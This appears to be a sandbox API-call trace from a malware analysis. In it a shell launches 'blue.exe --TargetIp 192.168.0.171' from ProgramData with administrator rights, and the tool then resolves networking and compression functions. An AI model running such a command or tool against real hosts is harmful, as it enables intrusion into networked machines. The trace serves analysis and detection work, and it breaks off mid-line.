RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x18) returned 0x452a60 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0093.979] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0093.980] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0093.980] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0093.980] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0093.980] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0093.980] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0093.980] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0093.980] GetProcessHeap () returned 0x440000 [0093.980] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x452a60 | out: hHeap=0x440000) returned 1 [0093.980] GetProcessHeap () returned 0x440000 [0093.980] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xa) returned 0x450298 [0093.980] lstrcmpW (lpString1="\\blue.exe", lpString2="\\XCOPY.EXE") returned -1 [0093.981] CreateProcessW (in: lpApplicationName="C:\\ProgramData\\blue.exe", lpCommandLine="blue.exe --TargetIp 192.168.0.171", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\ProgramData", lpStartupInfo=0x36f424*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="blue.exe --TargetIp 192.168.0.171", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f470 | out: lpCommandLine="blue.exe --TargetIp 192.168.0.171", lpProcessInformation=0x36f470*(hProcess=0x78, hThread=0x1c, dwProcessId=0x108c, dwThreadId=0x1090)) returned 1 [0093.987] CloseHandle (hObject=0x1c) returned 1 [0093.987] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0093.987] GetProcessHeap () returned 0x440000 [0093.987] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x454fd0 | out: hHeap=0x440000) returned 1 [0093.987] GetEnvironmentStringsW () returned 0x454fd0* [0093.987] GetProcessHeap () returned 0x440000 [0093.987] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb08) returned 0x457ae0 [0093.988] FreeEnvironmentStringsW (penv=0x454fd0) returned 1 [0093.988] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0117.551] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x36f364 | out: lpExitCode=0x36f364*=0x0) returned 1 [0117.551] CloseHandle (hObject=0x78) returned 1 [0117.551] _vsnwprintf (in: _Buffer=0x36f4ac, _BufferCount=0x13, _Format="%08X", _ArgList=0x36f370 | out: _Buffer="00000000") returned 8 [0117.552] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0117.552] GetProcessHeap () returned 0x440000 [0117.552] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x457ae0 | out: hHeap=0x440000) returned 1 [0117.552] GetEnvironmentStringsW () returned 0x457ae0* [0117.552] GetProcessHeap () returned 0x440000 [0117.552] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb2e) returned 0x458618 [0117.552] FreeEnvironmentStringsW (penv=0x457ae0) returned 1 [0117.552] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0117.552] GetProcessHeap () returned 0x440000 [0117.552] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x458618 | out: hHeap=0x440000) returned 1 [0117.552] GetEnvironmentStringsW () returned 0x457ae0* [0117.552] GetProcessHeap () returned 0x440000 [0117.552] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb2e) returned 0x458618 [0117.552] FreeEnvironmentStringsW (penv=0x457ae0) returned 1 [0117.552] GetProcessHeap () returned 0x440000 [0117.552] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x450298 | out: hHeap=0x440000) returned 1 [0117.552] DeleteProcThreadAttributeList (in: lpAttributeList=0x36f3c8 | out: lpAttributeList=0x36f3c8) [0117.552] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.552] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0117.553] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.553] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0117.553] _get_osfhandle (_FileHandle=0) returned 0x3 [0117.553] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0117.553] SetConsoleInputExeNameW () returned 0x1 [0117.553] GetConsoleOutputCP () returned 0x1b5 [0117.553] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0117.553] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.553] exit (_Code=0) Process: id = "11" image_name = "blue.exe" filename = "c:\\programdata\\blue.exe" page_root = "0x2e941000" os_pid = "0x108c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x1064" cmd_line = "blue.exe --TargetIp 192.168.0.171" cur_dir = "C:\\ProgramData\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 458 os_tid = 0x1090 [0095.572] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0095.572] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0095.573] VirtualProtect (in: lpAddress=0x3015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.573] VirtualProtect (in: lpAddress=0x3015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.573] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.573] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.574] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.574] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.574] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.574] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.574] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x97) returned 0x75366a8a [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x12) returned 0x75366989 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x1) returned 0x753668b6 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x6) returned 0x753630af [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0xd) returned 0x7536b001 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x2) returned 0x75364582 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0095.574] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0095.575] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0095.575] GetProcAddress (hModule=0x75360000, lpProcName="WSASocketA") returned 0x7536c82a [0095.575] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0095.575] GetProcAddress (hModule=0x75360000, lpProcName=0xf) returned 0x75362d8b [0095.575] GetProcAddress (hModule=0x75360000, lpProcName="WSADuplicateSocketA") returned 0x753761b6 [0095.575] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="_fstat") returned 0x76b60e3b [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.575] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_read") returned 0x76b5c245 [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_write") returned 0x76b54078 [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_fileno") returned 0x76b4ac15 [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_close") returned 0x76b53ae2 [0095.576] GetProcAddress (hModule=0x76b40000, lpProcName="_open") returned 0x76b67e48 [0095.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f341de0, dwHighDateTime=0x1d5ca1f)) [0095.576] GetCurrentProcessId () returned 0x108c [0095.576] GetCurrentThreadId () returned 0x1090 [0095.576] GetTickCount () returned 0x1160935 [0095.576] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23668606498) returned 1 [0095.576] malloc (_Size=0x80) returned 0xea0f88 [0095.577] malloc (_Size=0x80) returned 0xea1010 [0095.580] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0095.580] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0095.580] VirtualProtect (in: lpAddress=0xf015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.581] VirtualProtect (in: lpAddress=0xf015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.581] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="memcmp") returned 0x76b57975 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.581] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.582] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.582] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f341de0, dwHighDateTime=0x1d5ca1f)) [0095.582] GetCurrentProcessId () returned 0x108c [0095.582] GetCurrentThreadId () returned 0x1090 [0095.582] GetTickCount () returned 0x1160935 [0095.583] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23669250302) returned 1 [0095.583] malloc (_Size=0x80) returned 0xea1098 [0095.585] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0095.585] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0095.585] VirtualProtect (in: lpAddress=0xe015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.586] VirtualProtect (in: lpAddress=0xe015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.586] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.586] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.587] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.587] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.587] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.587] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.587] GetModuleHandleA (lpModuleName="posh-0.dll") returned 0x73bf0000 [0095.587] GetProcAddress (hModule=0x73bf0000, lpProcName="POSH_SwapU32") returned 0x73bf1012 [0095.587] GetModuleHandleA (lpModuleName="ucl.dll") returned 0xf0000 [0095.587] GetProcAddress (hModule=0xf0000, lpProcName="ucl_crc32") returned 0xf663c [0095.587] GetProcAddress (hModule=0xf0000, lpProcName="ucl_nrv2d_99_compress") returned 0xf2c6b [0095.587] GetProcAddress (hModule=0xf0000, lpProcName="__ucl_init2") returned 0xf6a5e [0095.587] GetProcAddress (hModule=0xf0000, lpProcName="ucl_nrv2d_decompress_8") returned 0xf3067 [0095.587] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0095.587] GetProcAddress (hModule=0x75360000, lpProcName=0x8) returned 0x75362d57 [0095.587] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0095.587] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0095.587] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="pow") returned 0x76b6608f [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="fread") returned 0x76b5f3c8 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="ftell") returned 0x76b622ea [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="fclose") returned 0x76b53d79 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="fseek") returned 0x76b5f606 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="fwrite") returned 0x76b576ac [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="fgets") returned 0x76b64589 [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0095.588] GetProcAddress (hModule=0x76b40000, lpProcName="floor") returned 0x76b4f95f [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="rand") returned 0x76b4c070 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="_ftime") returned 0x76b687c3 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="strcspn") returned 0x76b5d099 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0095.589] GetProcAddress (hModule=0x76b40000, lpProcName="fopen") returned 0x76b5b2c4 [0095.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f367f40, dwHighDateTime=0x1d5ca1f)) [0095.589] GetCurrentProcessId () returned 0x108c [0095.589] GetCurrentThreadId () returned 0x1090 [0095.590] GetTickCount () returned 0x1160945 [0095.590] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23669951394) returned 1 [0095.590] malloc (_Size=0x80) returned 0xea1120 [0095.590] GetVersion () returned 0x1db10106 [0095.598] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageA") returned 0x76e45fbd [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.599] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.600] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.600] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.600] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.600] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.600] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b40000 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="toupper") returned 0x76b4f7fa [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="memcmp") returned 0x76b57975 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="atoi") returned 0x76b4dbe0 [0095.600] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="islower") returned 0x76b6f0f7 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="strncat") returned 0x76b70909 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="rand") returned 0x76b4c070 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="gmtime") returned 0x76bc2929 [0095.601] GetProcAddress (hModule=0x76b40000, lpProcName="mktime") returned 0x76b65f85 [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 